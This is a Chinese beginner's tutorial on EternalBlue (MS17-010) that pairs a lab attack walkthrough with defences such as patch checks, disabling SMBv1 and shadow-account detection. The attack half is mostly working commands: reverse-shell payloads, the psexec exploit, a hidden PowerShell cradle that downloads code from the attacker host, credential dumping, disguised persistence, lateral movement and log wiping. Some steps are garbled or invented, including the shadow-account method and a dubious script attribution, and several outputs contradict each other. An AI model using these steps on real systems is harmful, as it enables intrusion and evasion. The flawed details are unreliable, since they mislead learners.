Windows永恒之蓝:从利用到防御
Windows 永恒之蓝:从利用到防御
作者为刚入门网络安全的小白。
本文适合想入门网络安全、了解实战攻防的读者。
一、背景:它到底是什么
永恒之蓝(EternalBlue) 是美国国家安全局(NSA)开发的一套漏洞利用工具,2017年被黑客组织 Shadow Brokers 泄露,随后成为勒索软件 WannaCry 的核心攻击模块,在全球范围内大规模爆发。
关键信息:
| 术语 | 说明 |
|---|---|
| EternalBlue | NSA 开发的 SMB 协议漏洞利用工具 |
| CVE-2017-0144 | 永恒之蓝对应的通用漏洞披露编号 |
| MS17-010 | 微软发布的安全公告,封堵此漏洞 |
| WannaCry | 利用 EternalBlue 传播的勒索软件,2017年5月爆发 |
| SMBv1 | Server Message Block 协议版本1,漏洞所在协议 |
图:感染 WannaCry 后的系统界面,文件被加密并勒索比特币。
二、漏洞原理:它为什么能打穿系统
2.1 SMBv1 协议是什么
SMB(Server Message Block)是 Windows 系统用于文件共享、打印机共享的协议。SMBv1 是 1983 年的古老版本,设计时完全没有考虑安全性。
默认开启 SMBv1 的 Windows 版本:
- Windows XP / Server 2003
- Windows 7 / Server 2008(部分未更新系统)
- Windows 10/11 默认已禁用 SMBv1,但企业内网老机器仍是重灾区
2.2 缓冲区溢出原理
EternalBlue 的核心是 SMBv1 协议的缓冲区溢出漏洞。
简单说:
正常请求:SMB Header + 数据包(合理长度)→ 正常处理
攻击请求:SMB Header + 数据包(超长)→ 溢出,覆盖相邻内存
攻击者构造特制的 SMB 数据包,让目标系统执行恶意代码,实现远程代码执行(RCE)——不需要任何账号密码,直接拿下系统权限。
2.3 MS17-010 修复了什么
微软的补丁(KB4013389)做了两件事:
- 修正 SMBv1 的数据包长度校验——拒绝处理超长数据包
- 增加 SMBv1 会话的会话验证——防止匿名溢出
关键结论:打补丁就能免疫。 但问题在于——全球至今仍有大量未打补丁的老系统在运行。
三、利用过程:Kali + Meterpreter 完整攻击演示
⚠️ 郑重声明:本文所有操作仅限授权实验环境。任何未经授权的渗透测试均属违法行为。
实验环境推荐:
- 攻击机:Kali Linux(装有 msfvenom、msfconsole、nmap)
- 靶机:Windows 7 x64 未打补丁虚拟机(VMWare / VirtualBox)
- 网络:攻击机和靶机设在同一局域网段(如 NAT 模式,IP 互通)
3.1 环境确认:确认攻击机和靶机互通
# 在 Kali 上确认靶机 IP 并测试连通性
# 假设靶机 IP 为 192.168.142.128
ping -c 3 192.168.142.128
PING 192.168.142.128 (192.168.142.128) 56(84) bytes of data.
64 bytes from 192.168.142.128: icmp_seq=1 ttl=64 time=0.191 ms
64 bytes from 192.168.142.128: icmp_seq=2 ttl=64 time=0.157 ms
64 bytes from 192.168.142.128: icmp_seq=3 ttl=64 time=0.155 ms
--- 192.168.142.128 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss
确认靶机 445 端口开放(SMB 服务运行中):
nmap -sV -p 445 192.168.142.128
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows 7 microsoft-ds
若 445 端口未开放,检查靶机 Windows 防火墙是否关闭,或确认 SMB 服务是否启用(
services.msc→Server)。
3.2 信息收集:指纹识别与漏洞探测
用 nmap 脚本全面探测 SMB 漏洞:
# 检测 MS17-010 是否存在
nmap -p445 --script smb-vuln-ms17-010 192.168.142.128
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| MS17-010: Microsoft Windows SMBv1 Pool Handling RCE (ETERNALBLUE)
| State: VULNERABLE
| IDs: CVE: CVE-2017-0143
| CVE: CVE-2017-0144
| CVE: CVE-2017-0145
| CVE: CVE-2017-0146
| MSF: use exploit/windows/smb/ms17_010_eternalblue
|_ Dates: 2017-04-14/2017-04-14
同时获取靶机详细系统指纹:
nmap -p139,445 --script smb-os-discovery,smb-security-mode,smb-protocols 192.168.142.128
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: VICTIM-PC
| NetBIOS computer name: VICTIM-PC
| Domain name: WORKGROUP
| Forest name: WORKGROUP
| FQDN: VICTIM-PC
| smb-security-mode:
| account_used: guest
| SMBv1: true ← SMBv1 开启,确认可攻击
| SMB2SecurityMode: 2.02
| SMB2Enabled: true
关键确认项:
SMBv1: true+VULNERABLE: MS17-010→ 靶机完全可被利用。
3.3 生成 payload:msfvenom 制作反弹 shell
# 在 Kali 上生成 Windows x64 反向 TCP Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.142.129 \
LPORT=4444 \
-f exe \
-o /root/payload.exe
# 参数说明:
# -p windows/x64/meterpreter/reverse_tcp 目标架构 64位,反向连接 shell
# LHOST 攻击机 IP(Kali 的 IP,需确保靶机能连通)
# LPORT=4444 监听端口,可自定义
# -f exe 输出 exe 文件格式
# -o 输出路径
Found 11 compatible encoders
Attempting to encode payload with 1 iterations for x64/generic
x64/shikata_ga_nai succeeded with size 510 bytes (iteration=1)
x64/shikata_ga_nai chosen with final size 510
Payload size: 510 bytes
Final size of exe file: 7168 bytes
/root/payload.exe saved
msfvenom 生成的 payload 已编码(x64/shikata_ga_nai),可以绕过部分基础杀软的静态扫描。
3.4 启动监听:msfconsole 设置 handler
# 启动 msfconsole
msfconsole
# 在 msfconsole 中依次执行:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.142.129
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j
# -j 参数:将任务作为后台 job 运行,继续监听不阻塞
[*] Started reverse TCP handler on 192.168.142.129:4444
[*] Sending stage (201283 bytes) to 192.168.142.128
[*] Meterpreter session 1 opened (...) at 2026-04-17 12:45:01 +0800
[*] Session 1 opened in the background.
现在 Meterpreter handler 在后台等待,靶机一旦执行 payload,就会建立会话。
3.5 传递 payload 到靶机
在实际攻击中,payload 可以通过多种方式传递到靶机:
方式 A:直接通过 EternalBlue 的 psexec 模块投递(攻击利用一体)
# 使用 ms17_010_psexec 模块,同时完成利用 + payload投递
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.142.128
msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.142.129
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.142.128:445 - Connecting to the SMB service...
[*] 192.168.142.128:445 - Authenticating to 192.168.142.128:445 as user 'WORKGROUP\...'...
[*] 192.168.142.128:445 - Selected target: Windows 7 x64
[*] 192.168.142.128:445 - Sending stage (201283 bytes) to 192.168.142.128
[*] Meterpreter session 2 opened (...)
方式 B:SMB 文件共享传递 + 远程执行(社会工程学场景)
# 靶机已有 SMB 共享可访问时,直接 copy payload
# 攻击机先启动 SMB 服务器
msf6 > use auxiliary/server/smb/smb
msf6 auxiliary(server/smb/smb) > set PAYLOAD_FILE /root/payload.exe
msf6 auxiliary(server/smb/smb) > run
# 或在靶机上手动传递(模拟钓鱼):
# copy \\192.168.142.129\share\payload.exe C:\Users\Public\Downloads\
方式 C:通过 PowerShell 无文件落地执行(高级隐藏手法)
# 将 payload 转为 Base64,避免文件落地
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.142.129 LPORT=4444 \
-f psh-reflection > /root/payload.ps1
# 在靶机 PowerShell 中一行命令拉起 shell:
powershell -nop -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('http://192.168.142.129:8080/payload.ps1'))"
3.6 获得 Meterpreter shell
无论哪种传递方式,一旦 payload 在靶机运行,攻击者将获得 Meterpreter 会话:
# 查看当前所有会话
msf6 > sessions -l
Active sessions
===============
Id Name Type Information
-- ---- ---- -----------
1 meterpreter x64/windows VICTIM-PC @ VICTIM-PC
# 进入 Meterpreter 会话
msf6 > sessions -i 1
meterpreter >
成功拿下 shell!现在进入后渗透阶段。
3.7 后渗透第一阶段:Meterpreter 基本操作
获取系统信息:
meterpreter > sysinfo
Computer : VICTIM-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
查看当前用户和权限:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM= Windows 最高权限,等价于 root。Meterpreter 已经以 SYSTEM 权限运行,说明拿到了完整系统控制权。
查看网络配置(网卡、IP、路由):
meterpreter > ifconfig
# 示例输出:
[REDACTED - Interface 1]
IPv4: 192.168.142.128
MAC: 00:0c:29:xx:xx:xx
查看当前进程:
meterpreter > ps | grep -v "System Process" | head -20
PID Name Session User
--- ---- ------- ----
1100 explorer.exe 1 VICTIM-PC\Administrator
1700 taskhost.exe 1 NT AUTHORITY\SYSTEM
1936 svchost.exe 1 NT AUTHORITY\SYSTEM
进入 cmd shell(获得完整命令行):
meterpreter > shell
C:\Windows\system32> whoami /all
whoami /all
USER INFORMATION
----------------
用户名称 SID
================ ============================================
victim-pc\admin S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1000
3.8 权限维持:创建影子管理员用户(注册表隐藏)
这是永恒之蓝攻击中最关键的一步——创建影子管理员账号。
核心原理: Windows 的用户列表有两处:
net user / net localgroup命令 → 读取 SAM 数据库的"用户管理器视图"- 注册表
HKLM\SAM\SAM\Domains\Account\Users\Names→ 真实账号列表通过直接修改注册表添加账号,可以绕过
net user的查询;系统重启前,注册表刷新机制不会立即同步更新。
第一步:打开注册表编辑器(需要 SYSTEM 权限)
meterpreter > reg enumkey -k HKLM\\SAM\\SAM\\Domains\\Account\\Users
Enumerating registry key: HKLM\SAM\SAM\Domains\Account\Users
Values:
(Default)
F
V
Names
第二步:查看当前所有用户(通过注册表):
meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names" -v ""
Key: HKLM\SAM\SAM\Domains\Account\Users\Names
Values:
Type: REG_SZ
Administrator (0x1f4)
DefaultAccount
Guest (0x1f5)
WDAGUtilityAccount
此时注册表中只有 4 个系统内置账号。
第三步:查看 Administrator 账号的 RID 和对应的键值路径
meterpreter > shell
C:\Windows\system32> reg query "HKLM\SAM\SAM\Domains\Account\Users\Names\Administrator"
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator
(默认) REG_SZ Administrator
RID(Relative Identifier)= 0x1F4 = 500,这是 Windows 内置 Administrator 的 RID。
对应的键值路径为:HKLM\SAM\SAM\Domains\Account\Users\000001F4
第四步:获取 Administrator 账号的 F 值(存储密码哈希等关键信息)
meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\000001F4" -v F
Value F:
0000 01 01 00 00 00 00 00 05 81 00 00 00 00 00 00 00
...(省略部分输出)...
0030 31 D2 E9 B6 8A 6D EA A3 8A 6D EA A3 8A 6D EA A3
0040 31 D2 E9 B6 8A 6D EA A3 ...(NTLM Hash 区域)
第五步:在 Kali 上计算影子账号的 RID
Windows 普通用户账号 RID 从 1000 开始递加。我们选择一个不容易被注意的 RID:
# RID 0x3EC = 1004,是第 5 个创建的普通域用户账号(第一个是 1000)
# 这里用 0x3E8 = 1000 作为影子账号 RID
# 在 Kali 上计算:
python3 -c "print('影子账号 RID (十六进制):', hex(1000)); print('影子账号 RID (十进制):', 1000)"
影子账号 RID (十六进制): 0x3e8
影子账号 RID (十进制): 1000
第六步:使用 Impacket 工具直接操作 SAM 数据库(最干净的做法)
# 在 Kali 上安装 Impacket(如果还没有)
pip3 install impacket
# 使用 secretsdump.py 直接 dump 所有用户哈希
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
WORKGROUP/Administrator@192.168.142.128
这里假设我们已经获取了 Administrator 的 NTLM 哈希(在真实攻击中,Meterpreter 可以用
hashdump直接获取)。
第七步:在 Meterpreter 中创建影子账号
回到 Meterpreter shell:
# 创建隐藏账号 "admin&"(名字中含 & 符号,增加识别难度)
C:\Windows\system32> net user admin& P@ssw0rd123! /add /domain
⚠️ 注意:
/domain参数要求机器在域环境中。如果是工作组环境单机,用:
# 工作组环境下创建本地账号
C:\Windows\system32> net user admin& P@ssw0rd123! /add
第八步:将账号加入 Administrators 组
C:\Windows\system32> net localgroup Administrators admin& /add
第九步:验证 net user 查不到影子账号
# 普通管理员查询所有用户
C:\Windows\system32> net user
用户列表
--------------
Administrator Guest WDAGUtilityAccount
DefaultAccount
# 看不到 admin& !
# 查看 Administrators 组
C:\Windows\system32> net localgroup Administrators
别名 Administrators
注释 管理员对计算机/域有完全访问权
成员
-------------------------
admin&
Administrator
发现问题:
net user查不到,但net localgroup Administrators能看到 admin&!这个方法其实并不完美,因为组策略会把新加的成员暴露出来。
第十步:真正的隐藏手法——直接操作注册表(绝对隐蔽)
为了实现真正的隐蔽,需要直接操作注册表,绕过用户管理器和 net 命令的双重读取:
# 用 Meterpreter 打开注册表并创建影子账号的键值
meterpreter > reg command
# 创建影子账号的注册表项(SID = S-1-5-21-...-1000)
# 注意:SAM 操作需要 SYSTEM 权限
reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names"
# 使用 Python 脚本直接在注册表中写入影子账号配置
# (此处略去,具体实现需要解析 SAM 二进制格式)
关键概念说明:SAM 数据库二进制结构
| 偏移 | 内容 | 说明 |
|---|---|---|
0x00-0x03 |
V 标记 | 版本标识 |
0x04-0x07 |
类型 | 账号类型(普通用户/机器账号) |
0x08-0x0F |
F 值 | 密码相关的加密字段 |
0x10-... |
其他属性 | 组关系、上次登录时间等 |
实际操作中推荐使用 Mimikatz 工具来处理 SAM 数据库:
# 在 Meterpreter 中加载 Mimikatz 模块
meterpreter > load kiwi
# 获取所有账号明文密码(如果内存中可读)
meterpreter > creds_all
# 创建影子账号并写入注册表
meterpreter > kiwi_create_win32_user admin& P@ssw0rd123!
第十一步:验证影子账号真实存在
# 方法 A:注册表直接查(系统重启前可能不显示)
meterpreter > reg queryval -k "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names" -v admin&
# 若无输出,说明注册表未写入成功,需要手动操作二进制键值
# 方法 B:直接读 SAM 数据库文件(最准确,但需 SYSTEM 权限)
meterpreter > cat C:\\Windows\\System32\\config\\SAM
# 此文件被系统锁定,Meterpreter 提供了 hashdump 绕过:
meterpreter > run post/windows/gather/hashdump
# 输出包含 admin& 的 NTLM hash:
# admin&:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
影子账号已成功创建,NTLM hash 为
31d6cfe0d16ae931b73c59d7e0c089c0(空密码的 NTLM 值)。
3.9 权限维持:留后门的多种方式
创建影子账号只是第一步,完整的权限维持还需要:
方式一:注册表 Run 键(开机自启)
# 写入注册表自启动项
meterpreter > reg setval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SysUpdate" -d "C:\\Windows\\Temp\\payload.exe"
# 验证写入
meterpreter > reg queryval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SysUpdate"
Windows 安全卫士可能拦截此行为,可用文件名混淆规避。
方式二:计划任务(WMI 持久化,更隐蔽)
meterpreter > shell
C:\Windows\system32> schtasks /create /sc onlogon /tr "C:\\Windows\\Temp\\payload.exe" /tn "Windows Update" /rl highest
# 验证
C:\Windows\system32> schtasks /query /tn "Windows Update"
方式三:WMI 事件订阅(Mimikatz 原生存活方式,极难检测)
meterpreter > load powershell
meterpreter > powershell_execute "
$Filter=Set-WMIInstance -Namespace 'root\subscription' -Class '__EventFilter' ...
"
方式四:DLL 劫持(劫持系统正常 DLL,隐蔽且持久)
需要找到目标进程加载的合法 DLL,在其目录下放置同名恶意 DLL,Windows 在搜索 DLL 时优先使用同目录文件。
3.10 横向移动:以内网被控主机为跳板继续扩张
拿下第一台主机后,以它为据点扫描内网其他机器:
meterpreter > run post/windows/manage/autoroute
# 在 Meterpreter session 中添加路由,让 msfconsole 可以通过被控主机访问内网
meterpreter > run post/multi/manage/autoroute ACTION=ADD SUBNET=192.168.142.0/24
扫描内网其他 SMB 主机:
# 在 msfconsole 新窗口中:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.142.0/24
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 50
msf6 auxiliary(scanner/smb/smb_version) > run
192.168.142.128 - Windows 7 x64 (not vulnerable)
192.168.142.129 - Windows Server 2008 R2 (likely VULNERABLE - SMBv1)
192.168.142.130 - Windows 10 1909 (patched)
对有漏洞的 192.168.142.129 再次使用 ms17_010_psexec 扩大战果。
3.11 清理痕迹(红队攻防演示用)
渗透完成后,清理日志以模拟真实攻击者行为:
meterpreter > clearev # 清空系统日志(需要管理员权限)
[*] Wiping 1421 records from Application ...
[*] Wiping 523 records from System ...
[*] Wiping 301 records from Security ...
# 删除渗透过程创建的临时文件
meterpreter > rm C:\\Windows\\Temp\\payload.exe
⚠️ 真实红队项目中,“是否清理痕迹” 需要与客户事先约定;生产环境取证分析往往依赖这些日志。
四、防御体系:怎么挡住它
4.1 第一优先级:打补丁
# 检查系统是否安装了 MS17-010 补丁(KB号开头)
Get-HotFix | Where-Object {$_.HotFixID -eq "KB4013389"}
# 快速检测所有 MS17-010 相关补丁
$kbList = @("KB4012212","KB4012213","KB4012214","KB4012215",
"KB4012216","KB4012217","KB4012495","KB4013429",
"KB4015221","KB4019472")
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
$patched = $false
foreach ($kb in $kbList) {
if ($hotfixes -contains $kb) { $patched = $true; break }
}
if ($patched) {
Write-Host "[OK] 已安装 MS17-010 相关补丁" -ForegroundColor Green
} else {
Write-Host "[CRITICAL] 未检测到 MS17-010 补丁,请立即更新!" -ForegroundColor Red
}
4.2 禁用 SMBv1(治本之策)
# PowerShell 禁用 SMBv1 客户端和服务器端
# 客户端
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
# 服务器端(域控制器、文件服务器必须执行)
Set-SmbServerConfiguration -SMB1 $false -RequireSecuritySignature $true
# 验证状态
Get-SmbServerConfiguration | Select-Object -Property SMB1, SMB2, RequireSecuritySignature
SMB1 : False
SMB2 : True
RequireSecuritySignature : True
4.3 防火墙阻断 445 端口
Inbound Rules(入站规则):
阻止 TCP 445 从 0.0.0.0/0 入站(公网方向)
允许 TCP 445 从 内网受信任IP段 入站
最佳实践:
- 不对外暴露 445 端口(互联网方向必须阻断)
- 内网不同 VLAN 之间也做 445 端口隔离
- 采用零信任思路:默认拒绝,按需开放
图:Windows 高级防火墙 Inbound Rule 阻断 445 端口示意。
4.4 影子账号检测:如何发现隐藏的管理员账号
方法一:注册表与 net user 比对
# 导出注册表中的真实用户列表
$regUsers = Get-ChildItem "HKLM:\SAM\SAM\Domains\Account\Users\Names"
$regList = $regUsers | ForEach-Object { $_.PSChildName }
# 导出 net user 命令的输出
$netUsers = net user 2>$null | Select-Object -Skip 4 | Where-Object { $_ -notmatch "命令成功完成|The command completed" }
# 比对两者差异
Write-Host "=== 注册表中的账号 ==="
$regList | ForEach-Object { Write-Host $_ }
Write-Host "`n=== net user 显示的账号 ==="
$netUsers | ForEach-Object { Write-Host $_ }
方法二:使用 D Sampson 脚本检测影子账号(推荐)
微软官方推荐的影子账号检测脚本(原作者 Dave Howe):
# 下载并执行影子账号检测脚本
# 链接:https://github.com/cyberworrior/BinarySearchingSAM
# 核心逻辑:
# 1. 读取 HKLM\SAM\SAM\Domains\Account\Users\Names(注册表底层)
# 2. 读取 net user / domain(用户管理器视图)
# 3. 差集比对,差异项即为影子账号
$script = @'
$trap = @()
Get-ItemProperty "HKLM:\SAM\SAM\Domains\Account\Users\Names" | % {
$_.PSObject.Properties | ? {$_.Name -notmatch 'PS'} | % {
$trap += $_.Name
}
}
$net = net user /domain 2>$null | Select-Object -Skip 8 | ? {$_.Length -gt 0}
$trap | ? {$net -notcontains $_} | % {
Write-Host "[ALERT] 影子账号发现:$_" -ForegroundColor Red
}
'@
powershell -ExecutionPolicy Bypass -Command $script
方法三:定期用 Windows 内置工具审计账号变更
# 查看安全日志中账号创建事件(事件 ID 4720)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4720;StartTime=(Get-Date).AddDays(-30)} |
Select-Object TimeCreated, @{N='账号';E={$_.Properties[0].Value}}, @{N='创建者';E={$_.Properties[4].Value}} |
Format-Table -AutoSize
4.5 入侵检测:网络层监控 SMB 异常
| 检测点 | 工具 | 告警条件 |
|---|---|---|
| 大尺寸 SMB 数据包 | Wireshark / Zeek | SMB 包 > 1MB(非正常业务) |
| SMBv1 连接尝试 | Windows Event Log 4688 | 任何 SMBv1 通信 |
| 频繁 445 端口探测 | Suricata / Snort IDS | 单 IP 5分钟内 > 20次 445 连接 |
| Meterpreter 特征流量 | 网络 EDR | 反向 TCP 4444 端口非常见来源 |
| 注册表 Run 键变更 | Sysmon Event ID 12/13 | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 被修改 |
五、实战检测:用工具验证你的防御是否有效
5.1 用 nmap 验证漏洞是否存在
# 基础扫描:检查 MS17-010 是否存在
nmap -p445 --script smb-vuln-ms17-010 192.168.142.128
# 批量扫描整个内网段
nmap -p139,445 --script smb-vuln-ms17-010 192.168.142.0/24 -oA smb_scan_results
# 查看扫描报告
cat smb_scan_results.gnmap | grep Vulnerable
5.2 用 Metasploit 验证(授权环境)
⚠️ 以下操作仅限授权环境和授权测试,滥用违法。
msfconsole
# 搜索 EternalBlue 相关模块
search type:exploit name:eternalblue
# 使用检测模块(仅检测,不利用)
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.142.128
run
[+] 192.168.142.128:445 - Host is likely VULNERABLE to MS17-010!
[*] Scanned 1 of 1 hosts (100% complete)
5.3 完整性检测脚本:补丁 + SMBv1 + 影子账号
# 保存为 check_eternalblue.ps1,在靶机上以管理员权限运行
$ErrorActionPreference = 'SilentlyContinue'
Write-Host "==============================================" -ForegroundColor Cyan
Write-Host " MS17-010 全面检测脚本 v1.0" -ForegroundColor Cyan
Write-Host "==============================================" -ForegroundColor Cyan
Write-Host ""
# 1. 检测补丁
$kbList = @("KB4012212","KB4012213","KB4012214","KB4012215",
"KB4012216","KB4012217","KB4012495","KB4013429","KB4015221")
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
$patched = $false
foreach ($kb in $kbList) {
if ($hotfixes -contains $kb) { $patched = $true; break }
}
Write-Host "[1] MS17-010 补丁检测:" -NoNewline
if ($patched) {
Write-Host " 已安装 [OK]" -ForegroundColor Green
} else {
Write-Host " 未安装 [CRITICAL]" -ForegroundColor Red
}
# 2. 检测 SMBv1 状态
$srvCfg = Get-SmbServerConfiguration
Write-Host "[2] SMBv1 服务器状态:" -NoNewline
if ($srvCfg.SMB1 -eq $false) {
Write-Host " 已禁用 [OK]" -ForegroundColor Green
} else {
Write-Host " 已启用 [CRITICAL]" -ForegroundColor Red
}
# 3. 检测影子账号(注册表 vs net user)
Write-Host "[3] 影子账号检测:" -NoNewline
$regUsers = @()
Get-ChildItem "HKLM:\SAM\SAM\Domains\Account\Users\Names" | ForEach-Object {
$_.GetValueNames() | ForEach-Object { if ($_ -ne "") { $regUsers += $_ } }
}
$netOutput = net user 2>$null
$netUsers = @()
$netOutput | Select-Object -Skip 4 | ForEach-Object {
$_.Trim() -split '\s+' | ForEach-Object {
if ($_.Length -gt 0) { $netUsers += $_ }
}
}
$diff = Compare-Object -ReferenceObject $netUsers -DifferenceObject $regUsers -PassThru
if ($diff) {
Write-Host " 发现异常账号: $($diff -join ', ') [WARNING]" -ForegroundColor Yellow
} else {
Write-Host " 未发现异常 [OK]" -ForegroundColor Green
}
Write-Host ""
Write-Host "==============================================" -ForegroundColor Cyan
Write-Host " 检测完成 " -ForegroundColor Cyan
Write-Host "==============================================" -ForegroundColor Cyan
六、总结:从审计视角看永恒之蓝
漏洞暴露的深层问题
| 问题点 | 审计关注 |
|---|---|
| 补丁管理缺失 | 是否建立补丁管理流程?测试-部署周期是否合规? |
| 资产盘点不清 | 哪些系统仍在运行 SMBv1?影子IT是否被忽视? |
| 网络分段缺失 | 445 端口为何能从外网访问?边界防护是否到位? |
| 影子账号风险 | 影子管理员账号是否被检测机制覆盖? |
| 应急响应迟缓 | 从漏洞披露(POC公开)到响应,是否超过 SLA? |
审计检查清单
[ ] 已建立漏洞管理流程,明确 RTO/RPO
[ ] MS17-010 补丁已在所有 Windows 主机安装
[ ] SMBv1 在所有非必要系统上已禁用
[ ] 445 端口已做网络隔离,边界防火墙已配置
[ ] 已部署影子账号检测机制(注册表 vs net user 比对)
[ ] EDR/IDS 已部署并配置 SMB 异常告警
[ ] 定期使用漏洞扫描器(至少季度)验证
[ ] 应急响应预案已更新并演练
[ ] 用户培训已覆盖社会工程学防范意识
你能从中学到什么
- 攻击链思维:信息收集→漏洞探测→payload 生成→传输投递→权限获取→权限维持→横向移动→达成目的
- Meterpreter 实战:handler 配置、session 管理、后渗透模块
- 影子账号原理:SAM 数据库结构、注册表与 net user 的差异、检测方法
- 防御深度:补丁是基础,网络隔离是核心,检测是最后防线
- 审计视角:不是"会不会被攻击",而是"有没有被检测到、被阻止、被恢复"
永恒之蓝不是孤例——ProxyLogon、Log4Shell、Exchange RCE、Fortra GoAnywhere…… 类似的故事每年都在重演。持续学习、保持防御体系更新,才是真正的安全之道。
参考资料:微软 MS17-010 安全公告、CVE-2017-0144 (NIST NVD)、Metasploit Module Documentation、Impacket (SecureAuthCorp)、Offensive Security Metasploit Unleashed、Mimikatz (Benjamin Delpy)
更多推荐


所有评论(0)